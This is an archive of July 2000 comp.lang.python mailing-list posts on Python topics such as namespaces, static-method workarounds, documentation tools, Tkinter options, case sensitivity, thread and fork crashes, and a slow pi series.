Date: Sat, 22 Jul 2000 00:15:34 +0000
Subject: Dynamic package exploration
References: <3978CDBA.5859E594@rational.com> <20000722003043.F9897@xs4all.nl>
Message-ID: <3978E7A6.2311C6F@rational.com>

Thomas Wouters wrote:
> 
> On Fri, Jul 21, 2000 at 10:24:58PM +0000, Sebastien Pierre wrote:
> 
> >  I cannot reference any Python object using an absolute name...
> 
> It's not an 'absolute name'. the 'os.name' isn't like a full path to a
> filename. It merely references the attribute 'name' of object 'os'.
> 
> >  Example :
> >   >>print os.name
> >   fails....
> >  But if I do
> >   >>import os
> >   >>print os.name
> >  It works - so I guess you have to "import" first before being able to
> > reference anything.
> 
> If they are modules, yes. If you do 'os.name' without importing os, Python
> can't know which 'os' you are talking about ! After all, 'os' isn't a magic
> name, it just happens to be the name of an often used module.

Thanks for the explanation !
BTW, what happens if I do "import os" and then I do a "os=Thing()" and I
do "print os.name", assuming that my Thing instance has a name="Hello"
property ?

I guess it will print "Hello" ....but what is the scope of name
resolution, something like block->function->class->module ?

Cheers,
Seb.

-- 
Sebastien Pierre.-  spierre at rational.com \
R a t i o n a l   software | XML          \ If you like classical music,
. Rational Unified Process | technology    \ feel free to visit
. Vancouver, B.C,  -Canada | intern         \       <www.costes.org>



From digitig at cix.co.uk  Thu Jul 20 18:25:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Thu, 20 Jul 2000 23:25 +0100 (BST)
Subject: Locating Python modules
References: <39768E53.63C422A3@pehr.net>
Message-ID: <memo.20000720232557.31945A@digitig.compulink.co.uk>

In article <39768E53.63C422A3 at pehr.net>, pehr at pehr.net (pehr anderson) 
wrote:

> Dear Simon, 
> 
> Distribution Packages Rant:
> 
> In the linux world, this problem is pretty much licked.

s/linux/Redhat/

There are some significant issues running RPM on non-Redhat installations, 
and on some I understand it simply can't be done. I /do/ have a Redhat 
installation, so I've not dealt with the problem first-hand, but I 
understand it's to do with getting RPM itself as anything other than an 
RPM...



From niels at endea.demon.nl  Fri Jul 28 10:55:32 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Fri, 28 Jul 2000 16:55:32 +0200
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com> <39802DB6.73CEC178@endea.demon.nl> <uk8e7wj5u.fsf@ctwd0143.fitlinxx.com> <3980ABA5.4190FC4F@endea.demon.nl> <uhf9bvxf1.fsf@ctwd0143.fitlinxx.com> <398188C5.B630AE23@endea.demon.nl>
Message-ID: <39819EE4.942B55A9@endea.demon.nl>


Niels Diepeveen schreef:
>     procdata = _PyOpenProcs[id(file)]
>     procdata[1] = procdata[1] - 1
>     if procdata[1] == 0:
>         exit_code = GetExitCodeProcess(_PyPopenProcs[id(file)])
                                         ^^^^^^^^^^^^^^^^^^^^^^^
Should of course be procdata[0]

-- 
Niels Diepeveen
Endea automatisering



From forums at memoire.com  Mon Jul 24 06:47:15 2000
From: forums at memoire.com (Guillaume)
Date: Mon, 24 Jul 2000 10:47:15 GMT
Subject: Class static methods
Message-ID: <8lh6ri$dkl$1@nnrp1.deja.com>

Well, now that I have class static vars, I need class static methods...
Is it possible in Python ? Not sure...

class A:
	def g():
		print "hello"

A.g() fails on TypeError: unbound method must be called with class
instance 1st argument

So maybe I need to use __call__. Here is a solution but it is not very
elegant... Maybe you know some better one ? Is there at least some way
to factorize Redirect to handle any number of args ?

I would like A.m(), a.m(), B.m() and b.m() to be equivalent (= same
call) where A is a class, a=A(), B is a class inheriting from A, b=B().

Regards, Guillaume

#### CODE ####

class Redirect0:
	nm=None
	def __init__(self,name):
		print name
		self.nm=name
	def __call__(self):
		exec self.nm+"()"

class Redirect1:
	nm=None
	def __init__(self,name):
		print name
		self.nm=name
	def __call__(self,p1):
		exec self.nm+"(p1)"

class A:
	pass

def A_g():
	print "static method of A without args"

def A_h(x):
	print "static method of A with 1 arg: x=%s" % x

A.g=Redirect0("A_g")
a=A()
a.g()
A.g()

A.h=Redirect1("A_h")
a=A()
a.h(1)
A.h(1)

class B(A):
	pass

# redefine g in B
def B_g():
	print "static method of B without args"
B.g=Redirect0("B_g")
b=B()
b.g()
B.g()
b.h(2)
B.h(2)


Sent via Deja.com http://www.deja.com/
Before you buy.


From moshez at math.huji.ac.il  Tue Jul 18 00:33:53 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 07:33:53 +0300 (IDT)
Subject: [Patch] {l,r}just with optional pad character parameter
In-Reply-To: <3973A454.7AB1BF20@schneider-kamp.de>
Message-ID: <Pine.GSO.4.10.10007180733130.8058-100000@sundial>

On Tue, 18 Jul 2000, Peter Schneider-Kamp wrote:

> Moshe Zadka wrote:
> > 
> > In the face of ambiguity, refuse the temptation to guess!!!!!
> > 
> > "GvR".ljust(6, "12")
> > Traceback (innermost last):
> >   File "<stdin>", line 1, in ?
> > ValueError: second argument to ljust must be of length 1
> 
> So what exactly did you want to express with that?
> 
> I knew that it only takes strings of length 1 right now.
> My questions were directed to Thomas' question
> "Why not allow multiple characters as padding ?".

Oh, sorry. In that case, I think that that was a good answer to Thomas
<wink>

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From dsavitsk at e-coli.net  Sat Jul 15 04:32:24 2000
From: dsavitsk at e-coli.net (dsavitsk)
Date: Sat, 15 Jul 2000 08:32:24 GMT
Subject: IDLE startup error on NT4
References: <8kodjp$aj2$1@nnrp1.deja.com>
Message-ID: <skVb5.60324$dF.2317079@news1.rdc1.il.home.com>

surely there is, but i made the same "fix" on winNT and 2000 a few months
ago and haven't had any problems. well, i've had problems, but not relating
to these dll's.
doug

"Andy Freeman" <anamax at earthlink.net> wrote in message
news:8kodjp$aj2$1 at nnrp1.deja.com...
> While starting IDLE on NT4, I get an error message about it not
> finding tcl80.dll (and the other tk and tcl dlls), an error that
> I don't get on Win95/98.  No, it isn't the error message from
> FixTk - FixTk appears happy - the problem seems to occur during
> import _tkinter.
>
> My "fix" was to simply move the relevant files to the Python
> DLL directory on NT, but surely there's something else going
> on here.
>
> -andy
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From dalke at acm.org  Sat Jul 29 01:49:00 2000
From: dalke at acm.org (Andrew Dalke)
Date: Fri, 28 Jul 2000 23:49:00 -0600
Subject: javadoc equivalent for python?
References: <3980AA2F.4E4E6E1F@seas.upenn.edu> <PY8g5.1370$NJ4.27922@news6-win.server.ntlworld.com>
Message-ID: <8lv421$hdk$1@slb6.atl.mindspring.net>

Some commentary, since I've been looking into this question
recently.

richard_chamberlain wrote:
>There is PythonDoc - which I've not used but you can get it at:
>http://starship.python.net/crew/danilo/pythondoc/

As a caution, I've found it hard to understand what the code is
doing.  There seems to be too much code for what it does.  For
example, it's several times larger than Ka-Ping's htmldoc.
There are inconsistancies in several places, like sorting (in
some places, name are sorted case-insensitive and others
case-sensitive.)  There even appear to be a few bugs, like in
the indicies.html where if you have more than 3 levels in your
hierarchy, it uses the CSS class "indent4" but pythondoc.css
doesn't define that class.

>Also Ka-Ping Yee's inspect.py and htmldoc are very good:
>http://www.lfw.org/python/

I like the code better.  It's easier to understand and the output
looks prettier.  Its biggest failing is that it doesn't understand
packages, so submodules are not documented.  It also doesn't
distinguish between what I call a name and an alias

def f():
    pass
g=f

It uses

def document_function(object, ...):
  ...
  anchor = clname + "-" + object.__name__

But the __name__ of g is "f", so the generated output is wrong.

I ended up writing a new system for my client to do what they needed,
because neither of these two were good enough.  Not sure if they'll
release the final code, though :(

                    Andrew
                    dalke at acm.org





From richard_chamberlain at ntlworld.com  Sun Jul  2 13:19:23 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sun, 2 Jul 2000 18:19:23 +0100
Subject: Tkinter and default options
References: <8jnbhm$bb6$1@cubacola.tninet.se>
Message-ID: <FPK75.3538$4C4.75025@news2-win.server.ntlworld.com>

Hi Thomas,

You can use an option database. If you create a file called optionDB with
for example the following kind of entries:

*font:                                Times New Roman
*Button*foreground            blue
*foreground                        black

You can then apply these via

root.option_readfile('optionDB')

Richard

<thomas_s at ebox.tninet.se> wrote in message
news:8jnbhm$bb6$1 at cubacola.tninet.se...
> Hello,
>
> I'm using Tkinter for the GUI parts of a little game I'm working on. What
is
> the best way of setting default options of the widgets?  For instance I
> want all widgets to have fg='green' and bg='black'. Is there a standard
> way of doing this? If not, I was thinking of maybe writing a widget
factory
> that creates and configures them for me.
>
> Thank,
> Thomas
>




From paul at prescod.net.bbs  Mon Jul 17 19:20:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 23:20:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRSk4$hWE@openbazaar.net>

Charles Boncelet wrote:
>
> ...
>
> This I must object to.  Linear algebra often involves big objects.
> These operations want to call a carefully written C function.  Any
> time you use Python to loop over matrix objects, you are dead in
> a big problem.  As far as I understand (and I could be wrong)
> neither list comprehensions nor the elementwise approach would be
> able to call the underlying C functions without python loops.

You are wrong about the .Element or .Element() approach. It is just a
syntactic approach, not a new computational model. .Element returns an
object that knows to use element-wise multiplication instead of
matrix-wise multiplcation. I thought it was a pretty elegant,
lightweight solution.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From thomas at xs4all.net  Thu Jul  6 16:37:56 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 22:37:56 +0200
Subject: Segmentation fault(LINUX) and no idea why!
In-Reply-To: <3964DD6E.12F37B7E@estinc.com>; from eric@estinc.com on Thu, Jul 06, 2000 at 07:25:19PM +0000
References: <39632A2C.E6ABECEB@muc.das-werk.de> <3964DD6E.12F37B7E@estinc.com>
Message-ID: <20000706223756.D26534@xs4all.nl>

On Thu, Jul 06, 2000 at 07:25:19PM +0000, Eric Lee Green wrote:
> Thomas Thiele wrote: 
> > In my program I create a new thread. In this new thread I fork and
> > replace the child with an other program
> > using excel. Normaly I have up to four threads with this procedure. So I
> > have a number of threads and the same numbers of childs (the called
> > program)
> > 
> > The problem is sometimes (relativly seldom, so it's unreproducible ;-( )
> > I get a segmantation fault and the pytthon interpreter stops.

> I haven't had good luck with forking a multi-threaded Python program, unless I
> immediately follow the fork() with an exec(). I suspect it's something to do
> with the internal state that Python uses as part of the thread stuff, but
> haven't cared enough to track it down (I dumped the whole 'threads' stuff
> instead, because I have found no way of telling whether a thread is still
> running or not...). 

If you do the fork() inside a C program (as opposed to os.fork() from a
python script), you have to call PyOS_AfterFork(). This was previously
undocumented, and the chief documenter didn't even know it existed ! :)

Unsure if this is the problem, though, I don't do anything with threads.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From m.faassen at vet.uu.nl  Fri Jul 28 16:43:15 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 20:43:15 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <slrn8o283n.qtv.nobody@isis.visi.com>
Message-ID: <8lsr93$hrq$3@newshost.accu.uu.nl>

Grant Edwards <nobody at nowhere.nohow> wrote:
[snip]
> No, 1 is not a sequence.  1 is an integer.  [1] is a sequence.  (1) is a
> sequence.

In fact the (1) bit _is_ an actual quirk/wart of Python, as (1) is also 1.
Single element tuples are a bit tricky. (1,) is clearer.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From wware at world.std.com  Mon Jul 24 22:10:00 2000
From: wware at world.std.com (Will Ware)
Date: Tue, 25 Jul 2000 02:10:00 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <Fy8E0p.Brq@world.std.com>

ye, wei (yw at alabanza.net) wrote:
> I can bear the {} issue, however I couldn't bear with variable without
> declaration.
> I wrote many applications, I couldn't live without declaration. For big
> project,
> there are so many scripts, everyone may be misspell variable name.
> It's very timeconsume and hard to find out such problem, which should
> be easy checked out by compiler.

You would think this would be a problem, but it turns out not to
be bad. Python has a good scheme for keeping things clean, called
namespaces. Namespaces make sure that each global variable is
associated with a particular module. I'll often begin a script with
a line importing several modules, like this:

import os, sys, string, re, urllib

To use the variables and functions within any one of these, I need
to call it out as a member of that module, like this:

arg1 = sys.argv[1]
arg2 = sys.argv[2]
while myOwnString[0] in string.lowercase:
	do something...
os.system('rm -f files to be deleted')

and so forth. The module name appears as a prefix. Java uses a similar
scheme for the same purpose.

If two modules have identically named variables or functions, I can tell
them apart just by looking at the prefix.

If I misspell the name of a function or variable, I get a NameError
(meaning that Python does not recognize the name I used) and I know I
need to check it.

You lose all the benefits of separate namespaces if you import this
way:

from os import *
from sys import *
...etc...

because all those names now appear together in the global namespace,
and if two modules have the same name for two different things, one will
get lost. The 'from <module> import <stuff>' can be convenient when you're
in a hurry, as it saves typing, but it's a bad habit, and if the
script is useful long-term, you'll want to change all those names
anyway. So don't get too addicted to the from...import form.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From aahz at netcom.com.bbs  Sun Jul 16 13:40:03 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 16 Jul 2000 17:40:03 GMT
Subject: Top 10 Language Constructs (Phyton)
Message-ID: <3bQUT3$mLr@openbazaar.net>

In article <qflc5.1316$6E.225996 at ptah.visi.com>,
Grant Edwards <nobody at nowhere.nohow> wrote:
>On 15 Jul 2000 14:37:57 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>>
>>Yeah, one of the reasons I hate AltaVista so much is because it does a
>>remarkably poor job of result ranking, even by the relatively poor
>>standards of search engines.
>
>I am reminded of something somebody once told me about network
>TV: "They don't care whether you like the programs or not. All
>they care about is whether their customers like their product."
>
>IOW: You are not the customer. You are the product.

True enough -- but if I don't visit their site, I'm not product for
them.  I literally can't remember the last time I bothered visiting
AltaVista for anything other than a quick test to see if they've
improved their software, and I also warn other eyeballs away from them.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From jvickroy at sec.noaa.gov  Fri Jul 21 09:44:01 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Fri, 21 Jul 2000 07:44:01 -0600
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov> <sDNd5.7762$4p3.55546@news-server.bigpond.net.au>
Message-ID: <397853A1.42CA12B4@sec.noaa.gov>

Thanks Mark.  I will try this for the Win32 branch of the code.

Mark Hammond wrote:

> "j vickroy" <jvickroy at sec.noaa.gov> wrote in message
> news:3977482B.478D2754 at sec.noaa.gov...
> > How can I obtain the process id for a program launched via
> >
> >   os.system (theProgram) ?
> >
> > I would like to do this portability (Unix, Windows).
>
> AFAIK, there is no portable solution.  Using win32process.CreateProcess()
> under Windows will return the PID (along with the process handle, which
> can be used to wait for the process to terminate)
>
> Mark.



From grey at despair.rpglink.com  Fri Jul 28 18:13:55 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 22:13:55 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <slrn8o3lfj.17lq.Gareth.McCaughan@g.local>
Message-ID: <slrn8o418v.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 19:50:27 +0100, Gareth McCaughan
<Gareth.McCaughan at pobox.com> wrote:
>None doesn't mean "empty object". It means "no object". There's
>a big difference, whether or not you care to recognise it. As
>big as the difference between "no bottles" and "an empty bottle",
>which is insignificant only if all you care about is the beer. :-)
i
    Be hard to fool me on that.

type(a)
a = None
type(a)

    If it  were no object how come it doesn't bomb out again.  Maybe the more
precise answer would be that I am trying to create the name a and point to
nothing.  None is not nothing.  None /is/s something.  It is a type.  :P

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From cut_me_out at hotmail.com  Wed Jul 12 13:43:32 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 13:43:32 -0400
Subject: Why are some infinite recursion stack overflows hard to deal  with?
References: <Pine.GSO.4.10.10007121752190.15424-100000@sundial> <etdlmz7tmxs.fsf@w20-575-115.mit.edu> <20000712192312.O7340@xs4all.nl>
Message-ID: <etdk8ertfaz.fsf@w20-575-115.mit.edu>

Hi, Thomas.

> Hmm... What version of Python, and compiled how ? (Standard distribution
> python, or self-compiled ?) I can't reproduce this on vanilla Python 1.5.2,
> on BSDI, in any case. I'll try on Linux later.

I get the segfault with vanilla Python 1.5.2 on Redhat 6.2, and also
with bleeding edge (downloaded this morning) CVS Python:

[alex_c at puffin mouse]$ setenv PYTHONPATH
[alex_c at puffin mouse]$ setenv PYTHONSTARTUP
[alex_c at puffin mouse]$ /usr/bin/python 
Python 1.5.2 (#1, Feb  1 2000, 16:32:16)  [GCC egcs-2.91.66
19990314/Linux (egcs- on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> class T:
    def __str__(self):
        print self

... ... ... >>> 
>>> print T()
 [Huge output of whitespace skipped] Segmentation fault
[alex_c at puffin mouse]$ 
[alex_c at puffin mouse]$ 
[alex_c at puffin mouse]$ python
Python 2.0b1 (#99, Jul 12 2000, 07:16:00)  [GCC egcs-2.91.66
19990314/Linux (egcs-1.1.2 release)] on linux2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Copyright 1995-2000 Corporation for National Research Initiatives (CNRI)
>>> class T:
    def __str__(self):
        print self
... ... ... 
>>> print T()
 [Huge output of whitespace skipped] Segmentation fault
[alex_c at puffin mouse]$ 

Alex.


From horst at proceryon.at  Tue Jul 11 01:16:24 2000
From: horst at proceryon.at (Horst Gassner)
Date: Tue, 11 Jul 2000 07:16:24 +0200
Subject: Table Widget
References: <39696FE7.5CBD36AD@proceryon.at> <8kdeen$m0p$1@news1.xs4all.nl>
Message-ID: <396AADA8.8A4A2F63@proceryon.at>

Hello!


> What widget set? With Qt I'd use either QTableView or QListView -
Sorry..
Thank you, I have found the thread which Fanny Yeung started and I got
the information what I want.

Greetings
Horst


From aek at aek.dk  Sun Jul 16 11:03:23 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Sun, 16 Jul 2000 17:03:23 +0200
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz> <jbPb5.1245$bb.28195@news101.telia.com> <%%Rb5.109206$HK2.1930096@news20.bellglobal.com>
Message-ID: <o8kc5.203$rg.9815@news101.telia.com>

I know that the VB IDE does this, but that is exactly because Microsoft
realised
that case sensitivity has advantages, and then they enforced case
sensitivity in a
way that is, agreed, in many ways smart. The real problem in Python does not
occur because of case sensitivity it occurs because you do not need to
declare
your variables. Case sensitivity is a good way way to keep the same case
across
different development platforms - the VB concept only works because if you
write
VB you use Microsofts VB IDE, not Ultra Edit, Emacs, notepad, Borland, you
name it.
Mircosofts system enforces IDE monopoly, which is anoying since I do not
like the Visual
studio IDE, I strongly prefer Borlands, or even better Ultra Edit.

And the VB IDE concept could easily be implementet in a case sensitive
language as well.

And one more thing, you do not need to remeber the case of any single
variable if you keep
a strict definition of how case should be used: in my case all new words
start with capital,
except the first word of a property, method or simple type - that way I am
never in doubt
as to 1: what type I am dealing with, 2: never in doubt as to what the case
is suposed to be used...

--
Anders Eggers - Krag

"Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote in message
news:%%Rb5.109206$HK2.1930096 at news20.bellglobal.com...
> As a VB freak (or ex-thereof), I need to point out that the VB IDE will
> attempt to make all variables and keywords use the same case.  So, for
> example, "if" is always 'converted' as "If" and if you declare a variable
as
> such:
>
> Dim m_Spam As Long
>
> (which, BTW, the IDE would have 'fixed' the words 'Dim', 'As' and 'Long')
>
> and then you need to refer to m_Spam, you can type it without any
capitals,
> and when you move the cursor to another line, the IDE will look up the
> declaration and match the case of the new instance of the variable with
that
> of the declaration... For example, I type:
>
> m_spam = M_SPAM + 42  <ENTER>
>
> and it becomes:
>
> m_Spam = m_Spam + 42
>
> ...which keeps the readability.  (doesn't it?)  Also, now that I have this
> line of code, if I go back to the declaration and change 'm_Spam' to
> 'm_SpAm', all the references 'm_Spam' will now read 'm_SpAm'...
>
> So, I can't say that I agree with you when you say that forcing the user
to
> type the name correctly will improve readability, especially in the case
of
> Pyton when a mis-typed variable name results in a new binding being
created,
> and not a compile-time error, like in C.  I once read an "article" (more
> like a joke) on how to write really bad (obfuscated) C code, and one of
the
> "tips" was to mix the cases of the letters making up variable names....
>
> If you have a pre-processor or a powerful IDE (more like a compiler built
> into an IDE), you can achieve readability that is customized to the person
> reading and making a change in the "readability" of a name does not
require
> doing a [case-sensitive] find/replace.
>
> Let the user have only to remember the sequence of characters and let the
> computer find out (in a previous declaration or usage) how they should be
> capitalized.
>
> I love Python.  I hope case sensitivity doesn't stay around for too long.
> All it *really* allows you to have is something like a previous post,
where
> a file requires a close method with a small C and for a DB connection, a
> close method with a capital C:
>
> aFile.close()
> aConnection.Close()
>
> ...which just seems pretty silly to me, especially if you're someone
trying
> to use code from two different sources, and they have adopt similar
> conventions, except the case is different.  People just don't think like
> computers:  'a' and 'A' are the same letter, and you bring up a good
example
> in your last paragaph...
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
>
> "Anders Eggers-Krag" <aek at aek.dk> wrote in message
> news:jbPb5.1245$bb.28195 at news101.telia.com...
> > I would say that it improves syntax consequense, leading to more
readable
> > code
> > for others, you are never in doubt about what to look for when looking
for
> a
> > keyword,
> >
> > in VB you might look for IF, If or if, and they look very different, and
> it
> > becomes a lot harder
> > to read somebody elses code.
> >
> > the case insensitivity is nice when I am the only one to read my code as
I
> > could then choose my
> > own obscure notation such as mYmetOd() and keep it consequent writing
dEf,
> > claSs, If eTc.
> > wheras case sensitivity makes it more natural to keep a more sensitive
> > manner such as myMethod()
> > MyMethod() or my_method() throughout that everyone can agree on, I
believe
> > that case sensitivity
> > leads to more uniform code, that again makes it easier to read your
> > collegues code. And i think it should
> > seem natural to everyone, after all books are written in case
sensitive...
> > you can't write: "i Am the wisEst
> > One of aLl." and be taken seriously
> >
> > But it depends on which kind of access is needed to the system ie it
would
> > be dreadfull if DNS
> > or SMTP servers were case sensitive and  user enters MicroSoft.com and
> gets
> > nowhere because
> > he should have written microsoft.com.
> >
> >
> > --
> > Anders Eggers - Krag
> >
> >
> > "Peter Timaratz" <timaratz at lisco.com> wrote in message
> > news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > > I can't think of any advantages to a case sensitive language. Python
is
> a
> > > very well-designed language though, so I imagine there is a good
reason
> > that
> > > it is case sensitive. So what are the advantages of a case sensitive
> > > language?
> > >
> > >
> >
> >
>
>




From yw at alabanza.net  Tue Jul 25 15:20:06 2000
From: yw at alabanza.net (ye, wei)
Date: Tue, 25 Jul 2000 15:20:06 -0400
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <397DE866.CA57D01D@alabanza.net>

Jonathan wrote:

> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if i'm
> wrong)
>
> 1. There are no keywords to declare static or instance variables; it
> all depends where they are placed(whether it's right after the <class>
> statement, or inside a <def>). Isn't it harder for other programmers to
> know at one glance what type of attributes the class define?

This is what I couldn't tolerate as well!!
I'm the same guy is looking for another new language, my path
is C/C++->Java->PHP->Perl.

>
>
> 2. No *formal* declaration of static class methods, e.g. no 'static'
> keyword (though i'm not sure how useful static methods are in OOP
> design). I read somewhere in this newsgroup that the workaround way is
> to define the method outside of the class - doesn't it break
> the 'encapsulation' a class suppose to have?

I don't much care about this.

>
>
> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.
>
> (Not to mention the number of 'gotchas' listed in the book that are
> bound to trap beginners - *shudder*)
>
> The reason i'm picking up python is that i got sick of PERL:), and
> don't really like the inflexible typing of Java.

I'm the same frustrated as you about the Perl/Java and now Python,
Java is a good language, however it's not open language. Perl has some
language deficients as well. Python is so loose for type checking. However

today I just read the Perl6 vision, it makes me very exciting -

http://www.perl.org/perl6/pr/initial_meeting.html
The new Perl 6 will support Typing(e.g. "my Dog $spot") , OO, Threads and
more features!!

It also will bring some python's features into Perl.  :)

> Furthermore, some ppl
> claim that Python is easier to learn, enables you to write much cleaner
> codes... However, after reading the python book, my head is still
> spinning, trying to catch all the 'intricacies' of this language. No
> doubt it will be a powerful and useful 'tool' to me once i get used to
> it; but i don't think it's suitable to be a first programming language
> for non-programmers(i read somewhere about this project going on).
> Pascal(for procedural) and Java(for OOP) is still the better choice to
> start off, IMHO.
>
> regards,
> Jonathan
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list

--

Sincerely,

Wei Ye






From aa8vb at yahoo.com  Wed Jul  5 07:18:27 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Wed, 05 Jul 2000 07:18:27 -0400
Subject: Nth digit of PI
In-Reply-To: <t7545.239$ZR1.2944@news.uswest.net>; from
 jmassung@magpiesystems.com on Wed, Jun 21, 2000 at 09:19:17AM -0600
References: <bivnjsoq0amb8qjmqtgkbfjsl2df2n2tta@4ax.com> <FvuAy4.51q@cwi.nl>
 <8hogt2$57t$1@nnrp1.deja.com> <8houlu$j9s$1@nntp.itservices.ubc.ca>
 <394889C3.1ED5@esatclear.ie> <t7545.239$ZR1.2944@news.uswest.net>
Message-ID: <20000705071827.A1015156@vislab.epa.gov>

Jeff Massung:
 |Please, this interests me -- I've had differention equations, but that's as
 |far as I go. In theory, pi (and e) are infinite, but has that been proven
 |that there is not end to their decimals?

I don't know the mathematically-rigorous answer to your question.  But one
of the interesting things that you can show with a Fourier integral
(possibly other ways too) is that:

    Pi^2/8 = sum(n=1..inf, 1/(2n-1)^2)

You can see that the sum is 1/1 + 1/9 + 1/125 + ....  The terms get smaller
and smaller, which means making the decimal representation longer and
longer.  In the limit, the decimal representation is infinitely long
because the denominator is infinitely large.

Solving for pi:  multiplying by 8, you still have infinitely many digits,
and taking the square root, you still have infinitely many digits.  That's pi.

Randall

------------------------------------------------------------------------------
#!/usr/bin/env python
#
#  pi = sqrt( 8 * sum(n=1..inf, 1/(2n-1)^2) )
#    Not a realistic way to compute pi; convergence is hideously slow.
#    But with rational number arithmetic and lots of storage...
#

import math

ITERATIONS = 50000

sum = 0
for v in range(2*ITERATIONS-1,0,-2):
  sum = sum + 1/v**2.0

print "pi is approx %g (%d iterations)" % ( math.sqrt( sum * 8 ), ITERATIONS )



From boud at rempt.xs4all.nl  Mon Jul  3 15:00:46 2000
From: boud at rempt.xs4all.nl (Boudewijn Rempt)
Date: 3 Jul 2000 19:00:46 GMT
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local> <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk> <20000703.19444100@linux.local>
Message-ID: <8jqnsu$m79$1@news1.xs4all.nl>

Kenneth Payne <kmp at atrium.fsnet.co.uk> wrote:

> This looks suspicious in the sip configure output:

> .
> .
> checking for working aclocal... missing
> checking for working autoconf... missing
> checking for working automake... missing
> checking for working autoheader... missing
> checking for working makeinfo... found
> .
> .
> .
> checking for x... no
> .
> .

> Should I be looking to install aclocal, autoconf and automake? Would 
> it be easier to install from rpms?

Well, I runs Suse 6.3, too (but compiled both KDE and Qt myself),
and I have no problems compiling PyQt 0.12 either with Qt 1.44 or Qt
2.1.1, with Python 1.52 or Python 1.6alpha2, and when I compare my
config.log with yours, I notice that I _do_ have aclocal, autoconf,
automake and autoheader - I'd try installing them, they should be in
your distribution. Otherwise, you're the second person I've seen with
those errors - maybe it's something for Phil to look at.

-- 

Boudewijn Rempt  | http://www.valdyas.org


From jvickroy at sec.noaa.gov  Thu Jul 20 14:42:51 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Thu, 20 Jul 2000 12:42:51 -0600
Subject: process id from os.system
Message-ID: <3977482B.478D2754@sec.noaa.gov>

How can I obtain the process id for a program launched via

  os.system (theProgram) ?

I would like to do this portability (Unix, Windows).

Presently on Unix, I'm getting the pid by parsing the output from:

  "ps -ef | grep theProgram"

but that seems messy and unreliable since "theProgram" may be truncated
in the output from ps.



From cut_me_out at hotmail.com  Mon Jul 31 15:25:41 2000
From: cut_me_out at hotmail.com (Alex)
Date: 31 Jul 2000 15:25:41 -0400
Subject: ERROR: No module named _tkinter
References: <3985AE78.9E87E83D@ix.netcom.com>
Message-ID: <etdr98ayudm.fsf@w20-575-112.mit.edu>

> What do you suppose the problem is?

